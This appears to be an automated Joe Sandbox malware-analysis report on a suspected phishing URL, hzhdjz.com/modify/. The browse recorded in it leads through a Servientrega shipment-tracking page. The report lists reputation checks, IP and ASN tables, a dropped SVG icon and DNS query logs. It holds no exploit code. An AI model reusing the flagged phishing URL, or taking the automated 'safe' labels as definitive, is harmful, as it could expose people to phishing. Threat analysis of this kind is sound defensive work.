https://stats.g.doubleclick.net/g/collect	chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	false	URL Reputation: safe	unknown
https://vimeo.com/groups/:group/videos/:id	chromecache_193.2.dr	false	Avira URL Cloud: safe	unknown
https://www.instagram.com/UZER_co/	chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	false	URL Reputation: safe	unknown
https://youtu.be/:id	chromecache_193.2.dr	false	Avira URL Cloud: safe	unknown
http://modernizr.com/download/#-csstransforms-csstransforms3d-shiv-cssclasses-prefixed-teststyles-te	chromecache_295.2.dr, chromecache_523.2.dr	false	Avira URL Cloud: safe	unknown
https://fontawesome.com	chromecache_257.2.dr	false	URL Reputation: safe	unknown
https://www.uzer.co/	chromecache_455.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_440.2.dr, chromecache_453.2.dr, chromecache_491.2.dr, chromecache_273.2.dr	false	Avira URL Cloud: safe	unknown
https://clutch.co/profile/uzer-0#review-1955220	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/vanilla-lazyload	chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_377.2.dr	false	URL Reputation: safe	unknown
https://clutch.co/profile/uzer-0#review-1925941	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	false	URL Reputation: safe	unknown
https://app.vzaar.com/videos/:id	chromecache_193.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/Wruczek/Bootstrap-Cookie-Alert	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/	chromecache_198.2.dr, chromecache_407.2.dr, chromecache_506.2.dr	false	URL Reputation: safe	unknown
https://noticias.uzer.co/uzer-premiada-como-mejor-agencia-de-consultoria-y-diseno-ux-de-latinoameric	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/xtrategyco	chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_453.2.dr, chromecache_317.2.dr, chromecache_273.2.dr	false	Avira URL Cloud: safe	unknown
https://js-na1.hs-scripts.com/22144436.js	chromecache_353.2.dr, chromecache_240.2.dr	false	Avira URL Cloud: safe	unknown
http://www.hubspot.com	chromecache_353.2.dr, chromecache_551.2.dr, chromecache_240.2.dr, chromecache_310.2.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/intent/tweet?text=	chromecache_201.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://wa.me/573115564271?text=Hola	chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	false	Avira URL Cloud: safe	unknown
https://vimeo.com/channels/:channel/:id	chromecache_193.2.dr	false	Avira URL Cloud: safe	unknown
https://js.hs-banner.com/v2	chromecache_551.2.dr, chromecache_310.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
https://fontawesome.com/license/free	chromecache_257.2.dr	false	URL Reputation: safe	unknown
http://daneden.me/animate	chromecache_508.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/api.js	chromecache_534.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
18.66.102.53	unknown	United States	3	MIT-GATEWAYSUS	false
13.33.187.19	unknown	United States	16509	AMAZON-02US	false
54.220.11.62	unknown	United States	16509	AMAZON-02US	false
18.66.112.19	vc-live-cf.hotjar.io	United States	3	MIT-GATEWAYSUS	false
216.239.34.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
104.17.248.203	unpkg.com	United States	13335	CLOUDFLARENETUS	false
54.195.202.131	wsky-live.live.eks.hotjar.com	United States	16509	AMAZON-02US	false
18.173.205.50	sth0d7m9clo4y72mjm8vh3.s.decidata.tv	United States	3	MIT-GATEWAYSUS	false
104.16.118.116	track.hubspot.com	United States	13335	CLOUDFLARENETUS	false
66.102.1.154	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.18.40.240	js.hs-banner.com	United States	13335	CLOUDFLARENETUS	false
104.16.107.254	forms.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
157.240.252.13	unknown	United States	32934	FACEBOOKUS	false
142.250.185.66	td.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
104.18.80.204	forms.hsforms.com	United States	13335	CLOUDFLARENETUS	false
104.16.140.209	unknown	United States	13335	CLOUDFLARENETUS	false
216.239.32.181	unknown	United States	15169	GOOGLEUS	false
142.250.184.194	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
185.199.109.153	owlcarousel2.github.io	Netherlands	54113	FASTLYUS	false
104.17.175.201	js.hs-analytics.net	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.16.141.209	js.hs-scripts.com	United States	13335	CLOUDFLARENETUS	false
157.240.253.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
172.217.16.194	unknown	United States	15169	GOOGLEUS	false
190.131.194.151	unknown	Colombia	262191	COLUMBUSNETWORKSCOLOMBIACO	false
13.33.187.109	script.hotjar.com	United States	16509	AMAZON-02US	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.66.102.51	static-cdn.hotjar.com	United States	3	MIT-GATEWAYSUS	false
190.145.160.56	mobile.servientrega.com	Colombia	14080	TelmexColombiaSACO	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.19.175.188	unknown	United States	13335	CLOUDFLARENETUS	false
129.226.167.139	hzhdjz.com	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
104.16.110.254	unknown	United States	13335	CLOUDFLARENETUS	false
157.240.0.6	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
104.16.160.168	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
84.32.84.139	uzer.co	Lithuania	33922	NTT-LT-ASLT	false
142.251.168.156	unknown	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
157.240.251.9	unknown	United States	32934	FACEBOOKUS	false
104.16.109.254	unknown	United States	13335	CLOUDFLARENETUS	false
54.220.48.221	pacman-content-live.live.eks.hotjar.com	United States	16509	AMAZON-02US	false
104.17.247.203	unknown	United States	13335	CLOUDFLARENETUS	false
18.173.205.113	unknown	United States	3	MIT-GATEWAYSUS	false
104.16.117.116	unknown	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519931
Start date and time:	2024-09-27 02:31:40 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://hzhdjz.com/modify/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@21/562@156/51
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: http://www.servientrega.com/wps/portal/rastreo-envio/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziTS08TTwMTAz93f1cTAwCg5yMfP0MHT2NPQ30w8EKDHAARwP9KGL041EQhd_4cP0oPFYYOfoaQRXgMaMgNzTCINNREQC2ok6g/# Browse: https://uzer.co/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	4.55883124757184
Encrypted:	false
SSDEEP:	24:2d3fZA/57xJKj/j65MwO1w3mdnDZXfb7E2UvraVGVnCgjReRM44ITZC7J5530Jbp:c3hG57Y7nDpjrUWcT3b0ZSA2oVN
MD5:	719224E6281EFBCB1B8AAD184B82D7BB
SHA1:	AD8D49990AE14BFF5DB5734AAD0D4E40055193D7
SHA-256:	25EF7C0B6DF3B3E466D647008449F20F5727AB19EDBDD4E76B94E9FB98A7A6C7
SHA-512:	A8E8F72847957F12186D3A99022D3968F635A14634D09CE117C2F640C37D48D69AB29183FDCE27053FFA4FD7D526204C0CF53ADD3394CDD6FA7A0CD3744BD6B9
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<svg width="39px" height="39px" viewBox="0 0 39 39" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">.. <g id="Group-25">.. <path d="M0 0L39 0L39 39L0 39L0 0Z" id="Rectangle" fill="#FFFFFF" fill-opacity="0" fill-rule="evenodd" stroke="none" />.. <g id="Group-3" transform="translate(4 6)">.. <path d="M4.27641 12.857C2.64105 12.857 1.31061 14.1979 1.31061 15.8462L1.31061 19.2449C1.31061 20.8932 2.64105 22.2341 4.27641 22.2341L7.49799 22.2341L7.49799 12.857L4.27641 12.857ZM23.5021 22.2341L26.7237 22.2341C28.3591 22.2341 29.6895 20.8932 29.6895 19.2449L29.6895 15.8462C29.6895 14.1979 28.3591 12.857 26.7237 12.857L23.5021 12.857L23.5021 22.2341ZM7.5946 28C6.06392 28 4.81867 26.7449 4.81867 25.2022L4.81867 23.5551L4.27641 23.5551C1.91842 23.5551 0 21.6215 0 19.2449L0 15.8462C0 13.7669 1.47743 11.9873 3.5129 11.6147L3.83032 11.5566L3.84517 11.2318C3.98303 8.20612 5.25693 5.38059 7.43219 3.27576C9.61

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 02:32:38.128767967 CEST	192.168.2.6	1.1.1.1	0x3beb	Standard query (0)	hzhdjz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:32:38.132076979 CEST	192.168.2.6	1.1.1.1	0x14de	Standard query (0)	hzhdjz.com	65	IN (0x0001)	false
Sep 27, 2024 02:32:38.489057064 CEST	192.168.2.6	1.1.1.1	0xff1c	Standard query (0)	hzhdjz.com	65	IN (0x0001)	false
Sep 27, 2024 02:32:40.478816986 CEST	192.168.2.6	1.1.1.1	0x9e6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:32:40.479362965 CEST	192.168.2.6	1.1.1.1	0x65b2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 02:32:41.996522903 CEST	192.168.2.6	1.1.1.1	0xeac2	Standard query (0)	hzhdjz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:32:41.997081041 CEST	192.168.2.6	1.1.1.1	0x402b	Standard query (0)	hzhdjz.com	65	IN (0x0001)	false
Sep 27, 2024 02:32:42.362483025 CEST	192.168.2.6	1.1.1.1	0x528c	Standard query (0)	hzhdjz.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:20.788690090 CEST	192.168.2.6	1.1.1.1	0x7c70	Standard query (0)	www.servientrega.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:20.789027929 CEST	192.168.2.6	1.1.1.1	0x9877	Standard query (0)	www.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:21.862755060 CEST	192.168.2.6	1.1.1.1	0xfcdb	Standard query (0)	www.servientrega.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:21.863311052 CEST	192.168.2.6	1.1.1.1	0x7aad	Standard query (0)	www.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:25.555999041 CEST	192.168.2.6	1.1.1.1	0x7e71	Standard query (0)	www.servientrega.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:25.556370020 CEST	192.168.2.6	1.1.1.1	0xed4	Standard query (0)	www.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:25.565514088 CEST	192.168.2.6	1.1.1.1	0x87b1	Standard query (0)	www.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:26.845604897 CEST	192.168.2.6	1.1.1.1	0x67ae	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:26.845802069 CEST	192.168.2.6	1.1.1.1	0x4cee	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:26.874777079 CEST	192.168.2.6	1.1.1.1	0xbeb3	Standard query (0)	mobile.servientrega.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:26.875011921 CEST	192.168.2.6	1.1.1.1	0xc1c3	Standard query (0)	mobile.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:26.877691031 CEST	192.168.2.6	1.1.1.1	0x3c52	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:26.877830982 CEST	192.168.2.6	1.1.1.1	0xe31	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:27.858802080 CEST	192.168.2.6	1.1.1.1	0xdf05	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:27.858947039 CEST	192.168.2.6	1.1.1.1	0xa64a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:28.139107943 CEST	192.168.2.6	1.1.1.1	0xc5d7	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:28.139348984 CEST	192.168.2.6	1.1.1.1	0x9522	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:28.145087957 CEST	192.168.2.6	1.1.1.1	0xfd2d	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:28.145317078 CEST	192.168.2.6	1.1.1.1	0xfce2	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:29.136394978 CEST	192.168.2.6	1.1.1.1	0xfe7d	Standard query (0)	mobile.servientrega.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:29.136738062 CEST	192.168.2.6	1.1.1.1	0x7e22	Standard query (0)	mobile.servientrega.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:29.141067028 CEST	192.168.2.6	1.1.1.1	0x61be	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:29.141201019 CEST	192.168.2.6	1.1.1.1	0xe131	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:29.248368025 CEST	192.168.2.6	1.1.1.1	0x689b	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:29.248506069 CEST	192.168.2.6	1.1.1.1	0xf955	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:29.571671963 CEST	192.168.2.6	1.1.1.1	0x9ffe	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:29.572071075 CEST	192.168.2.6	1.1.1.1	0xd8f	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:30.461597919 CEST	192.168.2.6	1.1.1.1	0xe105	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:30.461719036 CEST	192.168.2.6	1.1.1.1	0x5a86	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:31.828670979 CEST	192.168.2.6	1.1.1.1	0x133c	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:31.828814983 CEST	192.168.2.6	1.1.1.1	0xb404	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:33.177206993 CEST	192.168.2.6	1.1.1.1	0xf000	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:33.177361012 CEST	192.168.2.6	1.1.1.1	0x7c7a	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:33.549704075 CEST	192.168.2.6	1.1.1.1	0x9668	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:33.549953938 CEST	192.168.2.6	1.1.1.1	0x4a89	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:33.572531939 CEST	192.168.2.6	1.1.1.1	0x4732	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:33.572707891 CEST	192.168.2.6	1.1.1.1	0x19a6	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:34.138797998 CEST	192.168.2.6	1.1.1.1	0x5e66	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:34.139061928 CEST	192.168.2.6	1.1.1.1	0xd368	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:34.534440994 CEST	192.168.2.6	1.1.1.1	0xf531	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:34.534595013 CEST	192.168.2.6	1.1.1.1	0xca28	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:34.535023928 CEST	192.168.2.6	1.1.1.1	0x6254	Standard query (0)	sth0d7m9clo4y72mjm8vh3.s.decidata.tv	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:34.535052061 CEST	192.168.2.6	1.1.1.1	0xabb6	Standard query (0)	sth0d7m9clo4y72mjm8vh3.s.decidata.tv	65	IN (0x0001)	false
Sep 27, 2024 02:33:35.737104893 CEST	192.168.2.6	1.1.1.1	0xcf8b	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:35.737303019 CEST	192.168.2.6	1.1.1.1	0x936	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:35.738830090 CEST	192.168.2.6	1.1.1.1	0xb68d	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:35.739052057 CEST	192.168.2.6	1.1.1.1	0x2cf0	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:35.739829063 CEST	192.168.2.6	1.1.1.1	0x10a5	Standard query (0)	sth0d7m9clo4y72mjm8vh3.s.decidata.tv	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:35.739967108 CEST	192.168.2.6	1.1.1.1	0xc856	Standard query (0)	sth0d7m9clo4y72mjm8vh3.s.decidata.tv	65	IN (0x0001)	false
Sep 27, 2024 02:33:36.531811953 CEST	192.168.2.6	1.1.1.1	0x3f7a	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:36.531966925 CEST	192.168.2.6	1.1.1.1	0xabba	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:37.802364111 CEST	192.168.2.6	1.1.1.1	0x2606	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:37.802509069 CEST	192.168.2.6	1.1.1.1	0xaa44	Standard query (0)	tracker.metricool.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:38.823163033 CEST	192.168.2.6	1.1.1.1	0xbff8	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:38.823311090 CEST	192.168.2.6	1.1.1.1	0x2260	Standard query (0)	tracker.metricool.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:39.220413923 CEST	192.168.2.6	1.1.1.1	0x41ad	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:39.220586061 CEST	192.168.2.6	1.1.1.1	0xd150	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:39.918008089 CEST	192.168.2.6	1.1.1.1	0x2336	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:39.918766975 CEST	192.168.2.6	1.1.1.1	0x6197	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:40.847501993 CEST	192.168.2.6	1.1.1.1	0x1211	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:41.857626915 CEST	192.168.2.6	1.1.1.1	0x1211	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:42.861121893 CEST	192.168.2.6	1.1.1.1	0x1211	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:44.864922047 CEST	192.168.2.6	1.1.1.1	0x1211	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:48.872850895 CEST	192.168.2.6	1.1.1.1	0x1211	Standard query (0)	tracker.metricool.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:50.789061069 CEST	192.168.2.6	1.1.1.1	0x85af	Standard query (0)	uzer.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:50.789427042 CEST	192.168.2.6	1.1.1.1	0x8887	Standard query (0)	uzer.co	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.450233936 CEST	192.168.2.6	1.1.1.1	0xac6b	Standard query (0)	owlcarousel2.github.io	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.450654984 CEST	192.168.2.6	1.1.1.1	0x62eb	Standard query (0)	owlcarousel2.github.io	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.451204062 CEST	192.168.2.6	1.1.1.1	0x9237	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.451404095 CEST	192.168.2.6	1.1.1.1	0x1d7f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.451877117 CEST	192.168.2.6	1.1.1.1	0xb4c5	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.452239990 CEST	192.168.2.6	1.1.1.1	0x372a	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.472645044 CEST	192.168.2.6	1.1.1.1	0x7f3a	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.472904921 CEST	192.168.2.6	1.1.1.1	0x4eb5	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.473444939 CEST	192.168.2.6	1.1.1.1	0xbf1	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.473531008 CEST	192.168.2.6	1.1.1.1	0x40b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.474069118 CEST	192.168.2.6	1.1.1.1	0x62aa	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.474069118 CEST	192.168.2.6	1.1.1.1	0xb7fe	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:51.474733114 CEST	192.168.2.6	1.1.1.1	0x2963	Standard query (0)	unpkg.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:51.474733114 CEST	192.168.2.6	1.1.1.1	0xe13c	Standard query (0)	unpkg.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:53.117686033 CEST	192.168.2.6	1.1.1.1	0x1dd7	Standard query (0)	uzer.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:53.117857933 CEST	192.168.2.6	1.1.1.1	0x4afa	Standard query (0)	uzer.co	65	IN (0x0001)	false
Sep 27, 2024 02:33:53.294907093 CEST	192.168.2.6	1.1.1.1	0x3ed0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:53.295078993 CEST	192.168.2.6	1.1.1.1	0x8cb9	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:54.741810083 CEST	192.168.2.6	1.1.1.1	0xc07f	Standard query (0)	unpkg.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:54.742321968 CEST	192.168.2.6	1.1.1.1	0x159a	Standard query (0)	unpkg.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:56.498648882 CEST	192.168.2.6	1.1.1.1	0xca28	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:56.498859882 CEST	192.168.2.6	1.1.1.1	0x1a21	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:58.902781010 CEST	192.168.2.6	1.1.1.1	0x1248	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:58.903091908 CEST	192.168.2.6	1.1.1.1	0x1e9e	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:58.962301016 CEST	192.168.2.6	1.1.1.1	0xdc85	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:58.962522030 CEST	192.168.2.6	1.1.1.1	0xf2cb	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:58.974823952 CEST	192.168.2.6	1.1.1.1	0x8d28	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:58.975075006 CEST	192.168.2.6	1.1.1.1	0x4490	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:59.606745005 CEST	192.168.2.6	1.1.1.1	0x4657	Standard query (0)	static.hotjar.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:59.606877089 CEST	192.168.2.6	1.1.1.1	0x9e8a	Standard query (0)	static.hotjar.com	65	IN (0x0001)	false
Sep 27, 2024 02:33:59.871232986 CEST	192.168.2.6	1.1.1.1	0xe6ef	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:59.871572018 CEST	192.168.2.6	1.1.1.1	0xd704	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 02:33:59.897229910 CEST	192.168.2.6	1.1.1.1	0x42b8	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:33:59.897617102 CEST	192.168.2.6	1.1.1.1	0xcd0c	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Sep 27, 2024 02:34:00.893455029 CEST	192.168.2.6	1.1.1.1	0xe333	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:34:00.893872976 CEST	192.168.2.6	1.1.1.1	0xabb9	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 02:34:00.894973040 CEST	192.168.2.6	1.1.1.1	0x8559	Standard query (0)	static.hotjar.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:34:00.895232916 CEST	192.168.2.6	1.1.1.1	0x6d73	Standard query (0)	static.hotjar.com	65	IN (0x0001)	false
Sep 27, 2024 02:34:01.325752974 CEST	192.168.2.6	1.1.1.1	0x632e	Standard query (0)	js.hs-banner.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:34:01.326250076 CEST	192.168.2.6	1.1.1.1	0x7f5a	Standard query (0)	js.hs-banner.com	65	IN (0x0001)	false
Sep 27, 2024 02:34:01.378014088 CEST	192.168.2.6	1.1.1.1	0x4408	Standard query (0)	js.hs-analytics.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:34:01.378134966 CEST	192.168.2.6	1.1.1.1	0x372	Standard query (0)	js.hs-analytics.net	65	IN (0x0001)	false
Sep 27, 2024 02:34:01.424228907 CEST	192.168.2.6	1.1.1.1	0x9d14	Standard query (0)	js.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 02:34:01.424366951 CEST	192.168.2.6	1.1.1.1	0x36e1	Standard query (0)	js.hscollectedforms.net	65	IN (0x0001)	false
Sep 27, 2024 02:34:01.485479116 CEST	192.168.2.6	1.1.1.1	0x7ad8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
